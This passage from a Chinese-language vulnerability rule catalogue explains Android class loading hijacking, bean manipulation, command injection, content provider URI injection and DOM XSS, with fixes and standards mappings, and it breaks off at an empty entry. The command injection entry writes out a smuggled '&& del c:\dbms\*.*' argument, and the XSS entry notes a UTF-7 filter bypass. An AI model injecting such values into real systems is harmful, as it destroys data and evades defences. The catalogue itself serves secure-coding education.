在这种情况下,我们着重关注第一种情况,即攻击者也许能够控制在其中搜索加载类的目录的可能性。在以下情况下会发生这种 Android 类加载劫持漏洞:
数据从不可信赖的数据源进入应用程序。
数据用作一个或部分字符串,代表在其中搜索要加载的类的库目录。
通过从库路径执行代码,应用程序授予攻击者在一般情况下无法获得的权限或能力。
例 1:以下代码使用用户可更改的 userClassPath,来确定在其中搜索要加载的类的目录。
1 | ... |
此代码允许攻击者通过将 userClassPath 的结果修改为指向他们控制的不同路径,以提升的应用程序权限加载库并可能执行任意代码。因为程序不验证从环境读取的值,如果攻击者能够控制 userClassPath 的值,那么他们就可以欺骗应用程序指向他们控制的目录,从而使用与原始应用程序一样的权限加载他们已经定义的类。
例 2:以下代码使用用户可更改的 userOutput,来确定应将优化的 DEX 文件写入的目录。
1 | ... |
此代码允许攻击者指定优化的 DEX 文件 (ODEX) 的输出目录。这样,恶意用户便可以将 userOutput 的值更改为他们控制的目录,例如外部存储。一旦达到这一目的,便可以很轻松地将输出的 ODEX 文件替换为恶意 ODEX 文件,并使用与原始应用程序一样的权限加以执行。
RECOMMENDATIONS
应当禁止用户控制用于指定要加载的库的路径。若加载类的选择一定要涉及用户输入的话,通常情况下,应用程序会期望这个特定的输入是一个很小的值集合。如果不依赖输入便是安全的和非恶意的,那么应用程序所使用的输入应该仅从一个预定的安全位置集合中进行选择。如果输入看上去是恶意的,则用于搜索类的路径将默认为这一集合中的某个安全选择,或者程序将拒绝继续执行该操作。
攻击者可以通过篡改环境间接地控制程序加载的库。我们不应当完全信赖环境,还需采取预防措施,防止攻击者利用某些控制环境的手段进行攻击。只要有可能,加载的类应由应用程序进行控制,并使用绝对路径进行加载。如果编译时不清楚具体的路径,应该在执行的过程中利用可信赖的数值构造一个绝对路径。应对照一系列定义有效参数的不变量对从环境中读取的库名称和路径进行仔细的检查。
有时还可以执行其他校验,以检查环境是否已被恶意篡改。例如,如果一个配置文件为可写,程序可能会拒绝运行。如果事先已知有关要加载的库的信息,程序就会执行检测,以校验文件的有效性。如果一个库应始终归属于某一特定用户,或者被分配了一组特定的权限,则可以在加载库之前,对这些属性进行校验。
最后,不可能对程序提供百分之百的保护,来防止强大的攻击者控制其所加载的库。对输入参数和环境可能执行的任何操作,都应努力鉴别并加以保护。其目标就是尽可能地防范各种攻击。
REFERENCES
[1] Android Class Loading Hijacking Symantec
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 114
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[9] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[10] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
Bean Manipulation
ABSTRACT
攻击者可以设置可能会危及系统完整性的任意 bean 属性。
EXPLANATION
Bean 属性的名称和值在填充任何 bean 之前都需要进行验证。Bean 填充功能允许设置 bean 属性或嵌套属性。攻击者可以利用此功能访问特殊的 bean 属性,例如 class.classLoader,此属性将允许攻击者覆盖系统属性并可能会执行任何代码。
示例:下列代码将会设置用户控制的 bean 属性,而不会正确验证属性名称或值:
1 | String prop = request.getParameter('prop'); |
RECOMMENDATIONS
防止 bean 操控的最佳方法是采用一些间接手段:例如创建一份合法属性名的列表,并且规定用户只能选择其中的文件名。通过这种方法,用户提供的输入就不能直接用来指定这些关键 bean 属性的详细信息了。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 15
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[5] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Command Injection
ABSTRACT
执行不可信赖资源中的命令,或在不可信赖的环境中执行命令,都会导致程序以攻击者的名义执行恶意命令。
EXPLANATION
Command Injection 漏洞主要表现为以下两种形式:
- 攻击者能够篡改程序执行的命令:攻击者直接控制了所执行的命令。
- 攻击者能够篡改命令的执行环境:攻击者间接地控制了所执行的命令。
在这种情况下,我们着重关注第一种情况,即攻击者控制所执行命令的可能性。这种形式的 Command Injection 漏洞在以下情况下发生:
数据从不可信赖的数据源进入应用程序。
数据被用作代表应用程序所执行命令的字符串,或字符串的一部分。
通过命令的执行,应用程序会授予攻击者一种原本不该拥有的特权或能力。
例 1:下面这段来自系统实用程序的代码根据系统属性 APPHOME 来决定其安装目录,然后根据指定目录的相对路径执行一个初始化脚本。
1 | ... |
例 1 中的代码使得攻击者可通过修改系统属性 APPHOME 而指向一个包含恶意版本 INITCMD 的其他路径,从而提高自己在应用程序中的权限,继而随心所欲地执行命令。由于程序不会验证从环境中读取的值,所以如果攻击者能够控制系统属性 APPHOME 的值,他们就能欺骗应用程序去运行恶意代码从而取得系统控制权。
例 2:下面的代码来自一个管理 Web 应用程序,旨在使用户能够使用一个围绕 rman 实用程序的批处理文件封装器来启动 Oracle 数据库备份,然后运行一个 cleanup.bat 脚本来删除一些临时文件。脚本 rmanDB.bat 接受单个命令行参数,该参数指定了要执行的备份类型。由于访问数据库受限,所以应用程序执行备份需要具有较高权限的用户。
1 | ... |
这里的问题是:程序没有对读取自用户的 backuptype 参数做任何验证。通常情况下 Runtime.exec() 函数不会执行多条命令,但在这种情况下,程序会首先运行 cmd.exe shell,从而可以通过调用一次 Runtime.exec() 来执行多条命令。一旦调用了该 shell,它即会允许执行用两个与号分隔的多条命令。如果攻击者传递了一个形式为“&& del c:\\dbms\\*.*”
的字符串,那么应用程序将随程序指定的其他命令一起执行此命令。由于该应用程序的特性,运行该应用程序需要具备与数据库进行交互所需的权限,这就意味着攻击者注入的任何命令都将通过这些权限得以运行。
例 3: 下面的代码来自于一个 web 应用程序,该应用程序就允许用户访问一个可在系统中更新用户密码的接口。在特定的网络环境中更新密码时,其中的一个步骤就是在 /var/yp 目录中运行 make 命令,下面显示了此步骤的代码。
1 | ... |
这里的问题在于程序没有在它的构造中指定一个绝对路径,并且没能在执行 Runtime.exec() 调用前清除它的环境变量。如果攻击者能够修改 $PATH 变量,把它指向名为 make 恶意二进制代码,程序就会在其指定的环境下执行,然后加载该恶意二进制代码,而非原本期望的代码。由于应用程序自身的特性,运行该应用程序需要具备执行系统操作所需的权限,这意味着攻击者会利用这些权限执行自己的 make,从而可能导致攻击者完全控制系统。
有些人认为在移动世界中,典型的漏洞(如 Command Injection)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
例 4:以下代码可从 Android Intent 中读取要执行的命令。
1 | ... |
在经过 root 的设备上,恶意应用程序会强迫受攻击应用程序使用超级用户权限执行任意命令。
RECOMMENDATIONS
应当禁止用户直接控制由程序执行的命令。在用户的输入会影响命令执行的情况下,应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容,传递到命令执行函数的值将默认从安全命令集合中选择,或者程序将拒绝执行任何命令。
在需要将用户的输入用作程序命令中的参数时,由于合法的参数集合实在很大,或是难以跟踪,使得这个方法通常都不切实际。开发者通常的做法是使用黑名单。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何一个定义不安全内容的列表都很可能是不完整的,并且会严重地依赖于执行命令的环境。更好的方法是创建一份白名单,允许其中的字符出现在输入中,并且只接受完全由这些经认可的字符组成的输入。
攻击者可以通过修改程序运行命令的环境来间接控制这些命令的执行。我们不应当完全信赖环境,还需采取预防措施,防止攻击者利用某些控制环境的手段进行攻击。无论何时,只要有可能,都应由应用程序来控制命令,并使用绝对路径执行命令。如果编译时尚不了解路径(如在跨平台应用程序中),应该在执行过程中利用可信赖的值构建一个绝对路径。应对照一系列定义有效值的常量,仔细地检查从配置文件或者环境中读取的命令值和路径。
有时还可以执行其他检验,以检查这些来源是否已被恶意篡改。例如,如果一个配置文件为可写,程序可能会拒绝运行。如果能够预先得知有关要执行的二进制代码的信息,程序就会进行检测,以检验这个二进制代码的合法性。如果一个二进制代码始终属于某个特定的用户,或者被指定了一组特定的访问权限,这些属性就会在执行二进制代码前通过程序进行检验。
尽管可能无法完全阻止强大的攻击者为了控制程序执行的命令而对系统进行的攻击,但只要程序执行外部命令,就务必使用最小授权原则:不给予超过执行该命令所必需的权限。
REFERENCES
[1] IDS07-J. Sanitize untrusted data passed to the Runtime.exec() method CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 77, CWE ID 78
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - MISRA C 2012 Rule 1.3
[6] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2010 A1 Injection
[12] Standards Mapping - OWASP Top 10 2013 A1 Injection
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[19] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 078
[20] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 078
[21] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 078
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002510 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Web Application Security Consortium 24 + 2 OS Commanding
[33] Standards Mapping - Web Application Security Consortium Version 2.00 OS Commanding (WASC-31)
Content Provider URI Injection
ABSTRACT
构建含有用户输入的内容提供商查询指令会让攻击者能够访问未经授权的记录。
EXPLANATION
Query string injection 漏洞会在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个内容提供商查询 URI。
Android 内容提供商支持开发人员不使用 SQL 而仅通过构建内容提供商 URI 来编写查询。内容供应商查询 URI 易受注入攻击,因此开发人员应避免在未确保元字符得到正确验证或编码的情况下,使用带有受污染数据输入的字符串串联来构建 URI。
例 1: 假定有个应用程序在 URI 上暴露了多个内容提供商:
1 | content://my.authority/messages |
如果开发人员构建了查询 URI 串联字符串,那么攻击者将可以在路径或其他 URI 元字符中添加改变查询意义的斜线。例如,在下面的代码片段中,攻击者可以通过向 msgId 代码提供值 deleted 来调用
1 | content://my.authority/messages/deleted: |
RECOMMENDATIONS
阻止注入攻击的最佳做法是采用一些间接手段。例如创建一份合法资源名的列表,并且规定用户只能选择其中的文件名。通过这种方法,用户就不能直接由自己来指定资源的名称了。
但在某些情况下,这种方法并不可行,因为这样一份合法资源名的列表过于庞大、难以跟踪。因此,程序员通常在这种情况下采用黑名单的办法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何这样一份黑名单都不可能是完整的,而且将随着时间的推移而过时。更好的方法是创建一份白名单,允许其中的字符出现在资源名称中,且只接受完全由这些被认可的字符组成的输入。
Android SDK 提供了 URI 构建器,可对用于构建 URI 的参数进行安全编码。
例 2: 对用户控制的数据进行安全编码,以构建内容提供商查询 URI:
1 | // build the URI securely wih user-controlled data (msgId) |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 89
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[6] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[17] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[18] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[30] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
Cross-Site Scripting: DOM
ABSTRACT
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
EXPLANATION
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:
数据通过一个不可信赖的数据源进入 Web 应用程序。对于基于 DOM 的 XSS,将从 URL 参数或浏览器中的其他值读取数据,并使用客户端代码将其重新写入该页面。对于 Reflected XSS,不可信赖的源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该源通常为数据库或其他后端数据存储。
未检验包含在动态内容中的数据,便将其传送给了 Web 用户。对于基于 DOM 的 XSS,任何时候当受害人的浏览器解析 HTML 页面时,恶意内容都将作为 DOM(文档对象模型)创建的一部分执行。
传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。
示例:下面的 JavaScript 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。
1 | String queryString = Window.Location.getQueryString(); |
如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 里有包含元字符或源代码中的值,那么 Web 浏览器就会像显示 HTTP 响应那样执行代码。
起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码的 URL,并且还在自己的电脑上运行呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或者社会工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:
— 系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行,就会发生反射式 XSS 盗取。发送恶意内容最常用的方法是,把恶意内容作为一个参数包含在公开发表的 URL 中,或者通过电子邮件直接发送给受害者。以这种手段构造的 URL 构成了多种“网络钓鱼”(phishing) 阴谋的核心,攻击者借此诱骗受害者访问指向易受攻击站点的 URL。站点将攻击者的内容反馈给受害者以后,便会执行这些内容,接下来会把用户计算机中的各种私密信息(比如包含会话信息的 cookie)传送给攻击者,或者执行其他恶意活动。
— 应用程序将危险数据存储在数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中,并包含在动态内容中。Persistent XSS 盗取发生在如下情况:攻击者将危险内容注入到数据存储器中,且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于一个面向许多用户,尤其是相关用户显示的区域。相关用户通常在应用程序中具备较高的特权,或相互之间交换敏感数据,这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人所有的敏感数据的访问权限。
— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
RECOMMENDATIONS
针对 XSS 的解决方法是,确保在适当位置进行验证,并检验其属性是否正确。
由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的输入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。
针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入代码时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]:
在有关块级别元素的内容中(位于一段文本的中间):
-“<”是一个特殊字符,因为它可以引入一个标签。
-“&”是一个特殊字符,因为它可以引入一个字符实体。
-“>”是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个“<”,却错误地将其遗漏了。
下面的这些原则适用于属性值:
- 对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。
- 对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。
- 对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。
-“&”与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。
例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:
- 空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。
-“&”是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。
- 非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。
- 在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的“%”符号。例如,当输入中出现“%68%65%6C%6C%6F”时,只有从输入的内容中过滤掉“%”,上述字符串才能在网页上显示为“hello”。
在 <SCRIPT> </SCRIPT>
的正文内:
- 如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。
服务器端脚本:
- 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (“),则可能需要对此进行更多过滤。
其他可能出现的情况:
- 如果攻击者在 UTF-7 中提交了一个请求,那么特殊字符“<”可能会显示为“+ADw-”,并可能会绕过过滤。如果输出包含在没有确切定义编码格式的网页中,有些浏览器就会设法根据内容自动识别编码(此处采用 UTF-7 格式)。
一旦在应用程序中确定了针对 XSS 攻击执行验证的正确要点,以及验证过程中要考虑的特殊字符,下一个难点就是定义验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入,那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而,过滤的负面作用在于,过滤内容的显示将发生改变。在需要完整显示输入内容的情况下,过滤的这种负面作用可能是无法接受的。
如果必须接受带有特殊字符的输入,并将其准确地显示出来,验证机制一定要对所有特殊字符进行编码,以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。
许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞,具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式,以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] INPUT-1: Validate inputs Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[9] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[10] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[11] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[12] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[19] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[20] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[21] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[33] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Cross-Site Scripting: External Links
ABSTRACT
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。配置中的设置可最大限度降低暴露 cross-site scripting 漏洞的可能性。
EXPLANATION
